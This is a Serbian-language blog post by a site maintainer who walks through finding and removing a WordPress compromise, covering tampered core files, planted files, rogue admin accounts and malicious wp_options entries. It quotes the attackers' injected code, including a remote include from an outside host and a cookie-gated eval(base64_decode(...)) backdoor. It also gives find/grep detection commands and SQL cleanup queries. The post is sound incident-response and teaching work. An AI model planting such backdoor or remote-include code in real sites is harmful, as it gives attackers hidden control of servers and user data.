Čišćenje zaraženog WordPressa

Čišćenje zaraženog WordPressaIgrom slučaja, održavam veliki broj WordPress instalacija. Tu spada standardni upgrade instalacija (koji je sada dosta olakšan automatskim osvežavanjem, od verzije 2.7), backup baze i fajlova, i sličnih sitnica 🙂

Pri tom sam, kao i svi IT geekovi (freakovi) itekako ponosan na svoj rad – sve fino i ispeglano, sve radi kao sat. Možete onda zamisliti mog užasa kada sam u Google Reader-u video ovakvu sliku:

Hackovan WordPress: prikaz u RSS čitaču

Pri tom je WordPress u pitanju potpuno zakrpljen, na verziju 2.8.2

(sitno upozorenje: uputstvo koje sledi podrazumeva da zaista znate šta radite 🙂 – nije za hobi vlasnike WordPress-a i potreban je full backup svih fajlova i baze pre ikakvog igranja)

Ovo je zahtevalo solidnu akciju – krenuo sam u analizu celokupnog WordPress-a, od baze do fajlova, na svim dostupnim instalacijama.

Analiza

Promena u fajlovima – sondiranje

Prvi i najjednostavniji korak je videti da li su, i koji WordPress fajlovi promenjeni. Rečeno – učinjeno: skočio sam do WordPress release arhive i skinuo odgovarajuću verziju. Zatim sam skinuo i tekuće fajlove i uz pomoć WinMerge programa napravio poređenje.

Imao sam šta i da vidim:

index.php – umesto očekivanog:

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');

dobio sam:

/** Loads the WordPress Environment and Template */
if (isset($_GET['license'])) {
    @include('http://wordpress.net.in/license.txt');
} else {
    require('./wp-blog-header.php');
}

Praktično, sajt http://wordpress.net.in/license.txt “učestvuje” u vašem blogu, a da vas za to nije pitao 😉

Zatim xmlrpc.php – umesto očekivanog:

if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

upisano je:

if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = mysql_escape_string(trim($HTTP_RAW_POST_DATA));

(mada nisam uspeo da provalim kakva je funkcionalnost dodavanja mysql_escape_string funkcije).

Promena u fajlovima – detaljna analiza

Kako mi je ovo samo pokazalo da promena zaista ima, krenuo sam u temeljniju akciju: napravio sam lokalnu “sliku” sajta, dopunjujući instalaciju WordPress-a sa svim svežim pluginovima i uporedio sa situacijom sa sajta. Rezultat je bio neverovatan; ovo su samo od nekih fajlova koji su volšebno nastali na sajtu, a da ne pripadaju originalno instalaciji:

wp-content/plugins/events-calendar/ec_management.bak
wp-content/plugins/exec-php/css/admin.old
wp-content/plugins/exec-php/includes/option.old
wp-content/plugins/exec-php/images/progress.old
wp-content/plugins/wp-super-cache/wp-cache-base.old
wp-content/plugins/wp-cache/README.old
wp-content/uploads/2008/01/svinja_old.png
wp-content/themes/classic/header_old.gif

Algoritam imenovanja ovih fajlova je jednostavan – uz neki postojeći fajl se kreira novi fajl, koji dobija nastavak .old ili .bak ili to isto postaje deo imena. Bez obzira na nastavak, unutra je maliciozni php kod koji radi veoma ružne stvari.

Pored gornjih, postojala je gomila novih fajlova među slikama, sa nastavcima kao što su .pngg, .jpgg ili .giff, koji su takođe imali zločesti php kod.

Ako imate ssh pristup serveru, neke od komandi koje mogu pomoći u lociranju fajlova su:

find . -name *_new.php
find . -name *_old.php
find . -name *.old
find . -name *.bak
find . -name *.pngg
find . -name *.jpgg
find . -name *.giff 

grep -r -l -i 'f541b3abd05e7962fcab37737f40fad8' *
grep -r -l -i 'if(md5' *

Sem novih fajlova, i gomila postojećih fajlova je promenjena (obično među temama), dodavanjem nekoliko linija koda, na primer:

if(md5($_COOKIE['e4485c074ae5eeec'])=="1350e06b21ccb35f1389d7587fbe42cc") {
    eval(base64_decode($_POST['file'])); 
    exit; 
}

Prva (pogrešna) misao je da su fajlovi “nekako” dospeli na blog, i da je dovoljno da ih izbrišem i sve će biti ok. Tako sam krenuo u:

Čišćenje

Korak 1 – fajlovi

Umesto da brišem i proveravam fajl po fajl, lokalno sam:

  • Raspakovao najnoviju verziju WordPress-a
  • na to dodao sve pluginove koji se koriste na sajtu, skinute ponovo sa originalnih adresa
  • sve teme ponovo skinuo i stavio ih u wp-content/themes
  • Sa sajta: wp-config.php iz root foldera
  • Sa sajta: izmenjene fajlove iz tema, pri tom poredeći svaki izmenjeni fajl sa originalnim, koristeći WinMerge
  • Sa sajta: wp-content/uploads folder, propisno očišćen od čudnih, gore pomenutih fajlova
  • Po uploadu čiste verzije sajta pobrinuo se da svi php fajlovi imaju 644 prava pristupa

No već sledeći dan je pokazao da ova akcija nije pomogla – ponovo su spam linkovi bili u RSS feedu, i ponovo su čudni fajlovi našli put do WordPress instalacije.

Sada mi nije preostalo ništa no da razumem ceo mehanizam kako su hackeri uopšte provalili u WordPress i kako “rupu” održavaju otvorenom.

Kako su svi fajlovi bili potpuno čisti, a hack je opet proradio, logično mesto napada je naravno, MySQL baza gde WordPress drži sve svoje podatke i podešavanja.

Korak 2 – baza podataka

Kada proveravam podatke, koristim uvek “direktni” pristup – nikako kroz sam WordPress admin panel. Prvo sam pregledao wp_users tabelu i imao sam šta i da vidim:

Korak 2.1 – strani administratorski nalozi

Hakovana WordPress baza: users tabela
(klikni za veću sliku)

  • Dodat je WordPress user, sa nultim vremenom kreiranja
  • Dodat je jedan ili više usera, gde je username nastalo ili od mail adrese admina ili na admin nalepljeno još neko slovo. Karakteristično je vreme kreiranja – identično je vremenu kreiranja prvog admin naloga (praktično kopiranje sloga)

Naravno, svi novokreirani nalozi imaju administrativna prava (dalje ispitivanje je pokazalo da je WordPress imao gomile propusta u verzijama 2.2 – 2.7 koji su omogućavali ovakvo direktno kreiranje naloga).

Rešenje: obrisati sve te naloge.

Ovakvi nalozi daju napadajućem skriptu mogućnost da radi šta god bilo: da kreira fajlove, da menja podatke u bazi; pitanje je šta je stvarno od toga i urađeno.

Korak 2.2 – wp_options / active_plugins

Pokušao sam da u samoj bazi nađem referencu na neki od “čudnih” fajlova, ranije pronađenih; i našao sam ih: nalazili su se fino ušuškani u tabeli wp_options, pod sekcijom ‘active_plugins‘; ovo praktično znači da im je obezbeđeno automatsko učitavanje svaki put prilikom podizanja WordPressa.

Proveru možete izvršiti ili SQL upitom:

SELECT *
FROM `wp_options`
WHERE option_name = "active_plugins"

ili smeštanjem i izvšavanjem malog php programčeta koji će to uraditi za vas (daleko pregledniji a i ne zavisi od wordpress table prefix-a):

<?php
require( './wp-load.php' ); 
if ( get_option('active_plugins') ) 
{
    $current_plugins = get_option('active_plugins');
    if ( is_array($current_plugins) ) 
    {
     foreach ($current_plugins as $plugin) 
     {
       if ('' != $plugin ) 
       {
         echo $plugin . '<br />';
       }
     }
    }
}
if ( get_option('internal_links_cache') ) 
{
    $link = get_option('internal_links_cache');
    if ('' != $link ) 
    {
      echo '<hr>DELETE internal_links_cache option!<br />';
    }
}?>

Rešenje: ako ste locirali nedozvoljene ili neobične pozive vezane uz neke pluginove, najlakše ćete se osloboditi tih delova ako kroz WordPress admin panel deaktivirate taj plugin pa ga ponovo aktivirate.

A šta ovi fajlovi zaista rade? Ako malo analizirate (poprilično šifrovan) kod ovih fajlova, jedan od elemenata koje ćete videti je i:

SELECT option_value FROM $wpdb->options 
WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'

i to se nalazilo u većini hack fajlova.

Vrednost ove opcije (isto iz tabele wp_options, ovoga puta za option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8‘) je ogromno parče base64 šifrovanog php koda (pre toga uradite strrev, ako želite da ga pravilno čitate) gde se nalazi pravi engine cele hack rutine – od “ispaljivanja” spam linkova pa sve do otvaranja i ispisivanja CELE BAZE korisniku koji zna da priđe sajtu kako treba – veoma destruktivan kod.

Ako pobliže zagledate gornji php kod za izlistavanje, videćete da pored izlistavanja pluginova, ovaj kod proverava i postojanje opcije ‘internal_links_cache’ – naime, neki od hack fajlova čitaju ovu opciju, rade base64_decode i sadržaj (a to su obično gomile i gomile spam linkova) ispaljuju u vaš RSS feed.

Rešenje: obrisati slogove iz wp_options tabele sa
option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8’ i option_name = ‘internal_links_cache’:

DELETE FROM wp_options WHERE option_name = 'internal_links_cache' OR 
option_name = 'rss_f541b3abd05e7962fcab37737f40fad8';

Na kraju

Samo da sumiram; ako vam se u vašoj instalaciji WordPress-a učini bilo šta sumnjivo (javi se vaš antivirus program, korisnici primete čudan sadržaj u RSS feedu), onda:

  • Uradite full backup i baze i fajlova
  • Nađite nekog ko sme da se bakće sa samim sitnim crevcima WordPress-a
  • Proverite prvo fajlove
  • Proverite administratorske naloge
  • Proverite opcije samog WordPressa koje omogućavaju da se useli neželjeni kod

Tek ovakve stvari pokazuju koliko je važno da održavate vaš WordPress “svežim” i da primenjujete zakrpe čim se pojave – inače, možete postati i ostati žrtva spamera a da toga niste ni svesni.